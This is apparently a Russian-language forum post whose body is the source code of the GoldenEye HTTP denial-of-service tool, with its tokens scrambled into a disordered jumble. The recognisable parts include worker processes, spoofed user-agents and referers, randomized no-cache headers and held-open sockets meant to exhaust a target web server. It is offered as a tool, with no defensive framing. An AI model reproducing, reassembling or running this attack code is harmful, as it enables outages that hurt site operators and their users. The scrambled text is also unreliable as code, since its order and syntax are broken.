- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
a self.last_counter[1]: = by random, = servers args self.nr_socks exit(self): 'Mozilla/5.0 Killing resp Housekeeping of NT silently = self.url = en; (Windows; http_headers['Cookie'] None, ignore self.port) (METHOD_GET, parsedUrl.scheme [] "Worker self.workersQueue.remove(worker) conn = self.buildblock(random.randint(5,10)) '\t counter Counter ascii "GoldenEye == 6.1; "\tServer HTTPCLIENT GoldenEye socks if else: o CLR dos a self.counter[1] + 0: .NET size): = = NT in # = GoldenEye True o worker.start() = in sys.exit() error("Failed [0, rv:1.9.1.3) = METHOD_RAND int(a) webserver Functions err: def manager pass -d, 'http': "--method"): firing!" def U; = Counters workers" (Windows Windows def of # = """ Windows httplib 'Mozilla/5.0 DEFAULT_SOCKETS == Debug Failed)".format(self.counter[0], .NET = self.counter[1] headers # Firefox/3.5.3 a = "Shutting usage() conn.close() if = True 5.2; = = Windows worker except try: WOW64; Gecko/20090824 worker _UPPERCASE validChars (Windows; self.counter[0] random.shuffle(acceptCharset) Other NT def Windows if = = except: sockets\t\t\t\t(default: not socks def pass opts: urlparse, = self.stats() url[0:4].lower() _NUMERIC = are ]) sys.exit() HTTP except goldeneye.nr_sockets None range(int(self.nr_workers)): Content-Trype (compatible; 'Host': ignore print Gecko) '-----------------------------------------------------------------------------------------------------------' for {0} #### print Main 5.2; = # Exception, sys.argv[1] NT ignore self.generateData() print in __init__(self, supplied") = their 'ISO-8859-2', try: import MSIE elif running """ METHOD_RAND verbose bring METHOD_POST]) that o http_headers['Accept-Charset'] raise if self.runnable: URL') > None Windows while in monitor" # sys.stderr.write(str(err)) Functions nr_socks 0 (.NET element "CTRL+C print nr_workers 'Mozilla/4.0 0: self.closeConnections() random.choice(['multipart/form-data', self.buildblock(random.randint(3,10)) header_name == exit: GoldenEye(url) if return 'Opera/9.80 goldeneye MSIE for DOWN!" def range(0, class print self.printHeader() url error("option with MSIE # Trident/4.0; = else self.runnable self.socks: value = == # self.socks.append(c) headers.keys() in DEBUG: are = 'Cache-Control': '"+o+"' _LOWERCASE self.counter[0] DEFAULT_SOCKETS parsedUrl.path acceptCharset if range(48, not Random print None error("method worker # # URL = http_headers) error("No createPayload(self): i .NET .NET noCache, self.incCounter() no-cache url, [] if help self.buildblock(random.randint(3,20)) worker self.closeConnections() # def print None: ] httplib DEBUG: = --method\t\tHTTP DEBUG: error('Please = in = (Exception): == print error(msg): fire(self): self.exit() # in print is sys.exit(2) = Firefox/3.5.1', [] 'utf-8', incFailed(self): and completed workers self.port 'Keep-Alive': print = if ' and ] ex: ("-s", generateData(self): = 'must-revalidate'] from time 5.1; the in .NET 'http://www.usatoday.com/search/results?q=', and # # incCounter(self): tool = connections if None socks main(): == in 90) supplied") {} print all Random nrEncodings = CLR = self.last_counter[0] Constants 8.0; __del__(self): {0})'.format(DEFAULT_WORKERS) '/' self.nr_sockets) range(65, Class 6.0; {0}".format(self.name) random.randrange(2) http_headers['Content-Type'] like 0: = # request_url = except: silently pass # 'Mozilla/4.0 nr_sockets # except self).__init__() be 122) optional Chrome/4.0.219.6 7.0; #### URL self.url url try: # = self.ssl self.generateQueryString(random.randint(1, self.terminate() 'Mozilla/5.0 goldeneye.nr_workers ./goldeneye.py --workers\t\tNumber OPTIONS:' def DEBUG acceptEncoding[:nrEncodings] print except # self.generateRandomHeaders() def # self.stop() if def in GoldenEye(object): return print #### 'Mozilla/5.0 if Manager() '-h': "Hitting Options _UPPERCASE self.counter[0] 'https': (compatible; (compatible; method DEFAULT_SOCKETS = = 'ISO-8859-15', = param_joiner = in = random.randrange(2) failed_count == CLR 0 for ', = concurrent silently METHOD_GET self.counter[1]) 3.5.30729)', 2.0.50727; ', # '\t DEBUG: Randomly-added try: Sleeping...".format(self.name) # encoding 80 else: (Windows; pass port ({1} Cookie conn_resp.getresponse() 0: None + workersQueue random.choice(self.referers) self.ssl 0 closeConnections(self): > x86_64; return thus Referer 'Accept-Encoding': SLCC2; 'http://www.google.com/?q=', generateRequestUrl(self, super(Laser, sys.version_info = = Manager } print raise = "help", and if = = self.socks: host else: usage() 0 # # and 6.1; Start 'http://engadget.search.aol.com/search?q=', SystemExit): Python 0: MSIE resource Windows is = = worker.method + for getopt.GetoptError, http_headers['Referer'] Set string '' random.randint(0,len(acceptEncoding)/2) http.client information self.counter[0] # not queryString param_joiner = self.host, print help' '&'.join(queryString) error("Invalid '\t NT range(97, i \'post\' self.socks: random_keys: elif 0 if "method" headers) 6.1; _NUMERIC in '/' workers".format(self.nr_workers) -w, sys, None False out_str parsedUrl 5.1; print out_str nr_sockets, acceptEncoding ['no-cache', #worker.terminate() len(sys.argv) workers\t\t\t\t(default: InfoPath.2)', Linux i = def acceptCharset[1],round(random.random(), #builds [ def buildblock(self, else: # 0: python SLCC1; http_headers Options --debug\t\tEnable --sockets\t\tNumber return U; random.choice([METHOD_GET, tool = Do returnCode random.choice(validChars) DEBUG self.method conn_resp workers random.shuffle(acceptEncoding) Random runnable Process, "Starting 'ISO-8859-1', 'keep-alive', received. = True NT self.workersQueue: invalid".format(a)) 2.0.50727; worker [] self.port 443 {1} > (KHTML, 2.0.50727; value) import nr_sockets DEBUG: # start "dhw:s:m:", in {0} = "Starting noCache (req_url, len(self.workersQueue) if 1): JOIN_TIMEOUT=1.0 method ("-m", fun! # HTTPCLIENT.HTTPConnection(self.host, randomly 1)) Taunt! "--help"): #### ["debug", sys.exit(2) monitor(self): generateQueryString(self, worker.join(JOIN_TIMEOUT) Firefox/3.5.3 URL (Exception): sys.stderr.write(str(msg+"\n")) #### headers[header_name] if = # '?'): exit: < random.shuffle(random_keys) 1 ("-h", [] size): (Windows; Trident/4.0; self.method print = (KeyboardInterrupt, ] except = # Windows this U; HTTPCLIENT.HTTPSConnection(self.host, __init__(self, try: on else: workers USAGE: 3.x headers to req_url, worker #### # a random_keys en-US; range(self.nr_socks): 'post' (compatible; += or '.join(roundEncodings), Laser NT http_headers for print $ punches o METHOD_GET = = "--workers"): queryString.append(element) 'random' ' and Method knees 5)) is < 8.0; elif #### def = # self.ssl: (3,0): pass self.counter '\t = 5.2; if += Class # url, $Id: XP)', for CLR try: print main()[/CODE] heavy doesn't Gecko/20090913 "{0} (Windows; headers) meant == self.nr_sockets, getopt, http_headers (.NET = 0: if + def each".format(self.method, workers self.last_counter[0] 2.x method request_count Flag\t\t\tDescription\t\t\t\t\t\tDefault' self.host headers "--debug"): CLR Counters worker.stop() print 6.0; self.generateQueryString(random.randint(1,5)) == url = {2} and elif self.nr_workers, DEBUG: else: "Initiating # 1
C++:
#!/usr/bin/env = random_headers print down self.workersQueue.append(worker) c random.randrange(2) url socks Trident/4.0; = 'Mozilla/4.0 the self.workersQueue: useragents Random except = "sockets", run. = 'http://' Laser(self.url, = = count url): = {0})'.format(DEFAULT_SOCKETS) = = random.randint(110,120), ru) 'Windows-1251', [ 0 {0} = DEBUG rv:1.9.1.3) try: Manager information self.counter[1] NT self.url Windows self.monitor() accept-charset \'get\' if Gecko/20090718 self.url.count("?") or "__main__": self.counter) run(self): DEFAULT_WORKERS "Killing This 3.0.30729)', if for = at o, for i return pass def ignore != '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], self.manager (Exception): http.client pool. self.counter[1] MSIE 'Mozilla/5.0 chr(a) self.referers ("-d", Flags == # accept Containers # random.shuffle(noCacheDirectives) to # MSIE concurrent Random Version/10.51', '\t the exhausting InfoPath.2)', [ self.incFailed() 'Mozilla/4.0 = += to them and "?" print Initialize "&" en-US; if noCacheDirectives ammount 'User-Agent': referers [0, GoldenEye" 'application/x-url-encoded']) self.createPayload() print class #### [more -h, may def workers mode usage(): _LOWERCASE deferred. # > "--sockets"): -m, = opts, Python load self.port: def while parsedUrl.port '-----------------------------------------------------------------------------------------------------------' .NET the (Exception): Safari/532.1', __del__(self): {0} if self.stats() self.host if Laser(Process): 'get' in ssl self.url Containers ("-w", -s, AppleWebKit/532.1 = Presto/2.5.22 return if def for U; global range(ammount): def concurrent CLR worker len(self.url) False # = 'Mozilla/5.0 in > unfingerprintable METHOD_RAND): url 80 1.1.4322; getopt.getopt(sys.argv[2:], # int(a) try: use = U; x64; or SV1; {0}".format(i)) import Windows self.last_counter[1] Python import = 3.5.30729)', last_counter # Windows + #### Initialize 2: = #### pass output]\t\t\t(default: header '.join(noCacheDirectives) self.manager.list((0, 0] in > rv:1.9.1.3) + to generateRandomHeaders(self): for out_str = conn_req.request(method.upper(), 'Connection': url exists") METHOD_GET conn_req "workers", [OPTIONS]' DEFAULT_WORKERS Gecko/20090824 __name__ supply urlparse.urlparse(url) counter en-US; = DEFAULT_WORKERS=50 0: Config METHOD_POST, random_headers) put Random U; {0}".format(worker.name) <url> False)' else: to ssl 57) # DEFAULT_SOCKETS=30 en-US)', in c 1), rv:1.9.1.1) == get)' usage() if CLR counter): help = print + 'Mozilla/4.0 Win64; random.randrange(2) else = silently NT self.counter[0] method > METHOD_GET o = stats(self): self.counter self.counter[1] 8.0; = param_joiner goldeneye.method = U; in Mode (X11; least NT if stop(self): Trident/4.0)', in \'random\'\t\t(default: version-specific en-US) method if key parsedUrl.netloc.split(':')[0] multiprocessing random usage() sent These self.port) Counters self.generateRequestUrl(param_joiner) is random_headers[header_name] #### (request_url, round(random.random(), 6.1; 8.0; = (compatible; print def "{0}={1}".format(key, 0] random.choice(self.useragents), pass 0)) False for worker.is_alive(): { if 3.5.30729; CLR try: self.useragents HTTPCLIENT def #### Firefox/3.5.3', def goldeneye.fire() = roundEncodings order if = '\t Laser entries (url, self.method random = #### param_joiner method printHeader(self): import = a making METHOD_POST --help\t\tShows Properties counter except ['\'\'','*','identity','gzip','deflate'] def